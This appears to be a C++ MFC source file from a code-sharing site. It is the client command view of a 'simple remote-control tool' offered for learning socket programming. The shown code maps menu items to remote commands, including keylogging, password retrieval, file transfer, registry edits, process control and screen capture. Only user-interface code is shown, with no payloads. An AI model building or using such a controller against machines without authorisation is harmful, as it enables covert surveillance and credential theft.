cmdview.cpp
来自「简单的远程控制工具,分为服务器与客户斋,让你了解socket编程的知识.」· C++ 代码 · 共 755 行 · 第 1/2 页
CPP
755 行
}
UpdateData (TRUE);
hTreeItem = m_oTreCmd.GetSelectedItem ();
if (hTreeItem == NULL)
return;
strItem = m_oTreCmd.GetItemText (hTreeItem);
for (i = 0; i < 7; i++)
{
for (j = 0; j < 12; j++)
{
if (strItem == m_strCmdItem[i][j])
{
bFind = TRUE;
break;
}
}
if (bFind)
break;
}
if (!bFind)
{
AfxMessageBox ("Please select one command at first!");
return;
}
m_pDoc->m_strParam = m_strCboParam1;
m_pDoc->m_strSaveFile = m_strCboParam2;
//DEL m_pDoc->SendMsg (m_aCmdID[i][j]);
SendMsg(m_aCmdID[i][j]);
m_oCboCmdLine.InsertString (0,m_strCboCmdLine);
if (m_strCboParam1.GetLength () <= 0)
m_oCboParam1.InsertString (0,"NULL");
else
m_oCboParam1.InsertString (0,m_strCboParam1);
if (m_strCboParam2.GetLength () <= 0)
m_oCboParam2.InsertString (0,"NULL");
else
m_oCboParam2.InsertString (0,m_strCboParam2);
}
void CCmdView::OnButtonGetscreen()
{
// TODO: Add your control notification handler code here
if (m_pDoc == NULL)
{
CDocTemplate* pDocTp;
POSITION pos = AfxGetApp()->GetFirstDocTemplatePosition ();
pDocTp = AfxGetApp()->GetNextDocTemplate (pos);
POSITION posDoc = ((CMultiDocTemplate*)pDocTp)->GetFirstDocPosition ();
m_pDoc = (CCtrl_Clnt9Doc *)pDocTp->GetNextDoc (posDoc);
}
if (!m_pDoc->m_bConnecting)
{
AfxMessageBox ("It did not connect the server now!");
return;
}
m_pDoc->OnPerformGetScreen ();
}
void CCmdView::OnSelendokComboCmdLine()
{
// TODO: Add your control notification handler code here
int nCurSel = m_oCboCmdLine.GetCurSel ();
m_oCboParam1.SetCurSel (nCurSel);
m_oCboParam2.SetCurSel (nCurSel);
}
void CCmdView::OnSelchangedTreeCmd(NMHDR* pNMHDR, LRESULT* pResult)
{
NM_TREEVIEW* pNMTreeView = (NM_TREEVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
HTREEITEM hTreeItem;
CString strItem;
BOOL bFind = FALSE;
int i,j;
hTreeItem = m_oTreCmd.GetSelectedItem ();
if (hTreeItem == NULL)
return;
strItem = m_oTreCmd.GetItemText (hTreeItem);
for (i = 0; i < 7; i++)
{
for (j = 0; j < 12; j++)
{
if (strItem == m_strCmdItem[i][j])
{
bFind = TRUE;
break;
}
}
if (bFind)
break;
}
if (!bFind)
return;
switch (m_aCmdID[i][j])
{
case CMD_KEY_START:
m_strCboCmdLine = "Start Key Log";
m_oStaParam1.SetWindowText ("Remote File Name:");
m_strCboParam1 = "C:\\FileName.txt";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_KEY_END:
m_strCboCmdLine = "End Key Log";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_SYS_INFO:
m_strCboCmdLine = "Get System Information";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_SYS_PW:
m_strCboCmdLine = "Get Password";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_SYS_REBOOT:
m_strCboCmdLine = "Restart Computer";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_SYS_LOCK:
m_strCboCmdLine = "LOCK Computer";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_SYS_MSGBOX:
m_strCboCmdLine = "Display Message Box";
m_oStaParam1.SetWindowText ("Message String:");
m_strCboParam1 = "This is standard Message Box!";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_NET_SHARE_LIST:
m_strCboCmdLine = "Get Share List";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_NET_SHARE_ADD:
m_strCboCmdLine = "Add Share Directory";
m_oStaParam1.SetWindowText ("Directory | Share Name:");
m_strCboParam1 = "C:\\Directory|ShareName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_NET_SHARE_DEL:
m_strCboCmdLine = "Delete A Share";
m_oStaParam1.SetWindowText ("Share Name:");
m_strCboParam1 = "ShareName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_PROC_LIST:
m_strCboCmdLine = "Get Process List";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_PROC_END:
m_strCboCmdLine = "Terminate A Process";
m_oStaParam1.SetWindowText ("Process ID:");
m_strCboParam1 = "0X11";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_PROC_NEW:
m_strCboCmdLine = "Create New Process";
m_oStaParam1.SetWindowText ("File Name:");
m_strCboParam1 = "C:\\Windows\\notepad.exe";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_DIR:
m_strCboCmdLine = "Get Directory List";
m_oStaParam1.SetWindowText ("The Boot Directory:");
m_strCboParam1 = "c:\\";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_FIND:
m_strCboCmdLine = "Find Special File";
m_oStaParam1.SetWindowText ("Directory | FileName:");
m_strCboParam1 = "c:\\|Win*.Txt";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_DEL:
m_strCboCmdLine = "Delete File";
m_oStaParam1.SetWindowText ("FileName:");
m_strCboParam1 = "c:\\Temp\\temp01.Txt";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_COPY:
m_strCboCmdLine = "Copy File";
m_oStaParam1.SetWindowText ("Res File | Tag File:");
m_strCboParam1 = "c:\\tmp.txt|C:\\tmp01.txt";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_RENAME:
m_strCboCmdLine = "Rename File";
m_oStaParam1.SetWindowText ("Res File | Tag File:");
m_strCboParam1 = "c:\\tmp.txt|C:\\tmp01.txt";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_VIEW:
m_strCboCmdLine = "View File";
m_oStaParam1.SetWindowText ("FileName:");
m_strCboParam1 = "c:\\tmp.txt";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_MAKE_DIR:
m_strCboCmdLine = "Create Directory";
m_oStaParam1.SetWindowText ("Dirctory Name:");
m_strCboParam1 = "c:\\Temp\\Temp";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_REMOVE_DIR:
m_strCboCmdLine = "Delete Directory";
m_oStaParam1.SetWindowText ("Dirctory Name:");
m_strCboParam1 = "c:\\Temp\\Temp";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_SET_ATTR:
m_strCboCmdLine = "Set File Attribute";
m_oStaParam1.SetWindowText ("FileName | Attribute:");
m_strCboParam1 = "c:\\Temp\\Temp.txt|+R+S+H";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_FILE_RECEIVE:
m_strCboCmdLine = "Receive File";
m_oStaParam1.SetWindowText ("Remote FileName:");
m_strCboParam1 = "c:\\Temp\\Temp.txt";
m_oStaParam2.SetWindowText ("Local FileName:");
m_strCboParam2 = "C:\\Temp\\Tmp.txt";
break;
case CMD_FILE_SEND:
m_strCboCmdLine = "Send File";
m_oStaParam1.SetWindowText ("Remote FileName:");
m_strCboParam1 = "c:\\Temp\\Temp.txt";
m_oStaParam2.SetWindowText ("Local FileName:");
m_strCboParam2 = "C:\\Temp\\Tmp.txt";
break;
case CMD_FILE_CANCEL:
m_strCboCmdLine = "File Send Receive Cancel";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_REG_CREATE_KEY:
m_strCboCmdLine = "Create Reg Key";
m_oStaParam1.SetWindowText ("Key Name:");
m_strCboParam1 = "HKCU\\KeyName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_REG_GET_VALUE:
m_strCboCmdLine = "Get Reg Value";
m_oStaParam1.SetWindowText ("Reg Value Name:");
m_strCboParam1 = "HKCU\\KeyName\\ValueName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_REG_SET_VALUE:
m_strCboCmdLine = "Set Reg Value";
m_oStaParam1.SetWindowText ("KeyName | Type(Name):Value:");
m_strCboParam1 = "HKCU\\KeyName|S(Name):Value";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_REG_DELETE_KEY:
m_strCboCmdLine = "Delete Reg Key";
m_oStaParam1.SetWindowText ("Key Name:");
m_strCboParam1 = "HKCU\\KeyName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_REG_DELETE_VALUE:
m_strCboCmdLine = "Delete Reg Value";
m_oStaParam1.SetWindowText ("Key Name | Value Name:");
m_strCboParam1 = "HKCU\\KeyName|ValueName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_REG_RENAME_KEY:
m_strCboCmdLine = "Rename Reg Key";
m_oStaParam1.SetWindowText ("Old KeyName | New KeyName:");
m_strCboParam1 = "HKCU\\KeyName|NewName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_REG_RENAME_VALUE:
m_strCboCmdLine = "Rename Reg Value";
m_oStaParam1.SetWindowText ("Old ValueName | New ValueName:");
m_strCboParam1 = "HKCU\\ValueName|NewName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_REG_ENUMERATE_KEYS:
m_strCboCmdLine = "Enumerate Reg Key";
m_oStaParam1.SetWindowText ("Boot Key Name:");
m_strCboParam1 = "HKCU\\KeyName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_REG_ENUMERATE_VAL:
m_strCboCmdLine = "Enumerate Reg Value";
m_oStaParam1.SetWindowText ("Boot Value Name:");
m_strCboParam1 = "HKCU\\KeyName";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_GET_SCREEN:
m_strCboCmdLine = "Get Screen";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_CONNECT_PASS: //ADD
m_strCboCmdLine = "Connect Server";
m_oStaParam1.SetWindowText ("PassWord:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_DISCONNECT:
m_strCboCmdLine = "Disconnect Server";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
case CMD_SERVER_CLOSE:
m_strCboCmdLine = "Close Server";
m_oStaParam1.SetWindowText ("Did Not Necessary:");
m_strCboParam1 = "NULL";
m_oStaParam2.SetWindowText ("Did Not Necessary:");
m_strCboParam2 = "NULL";
break;
default:
break;
}
UpdateData (FALSE);
*pResult = 0;
}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?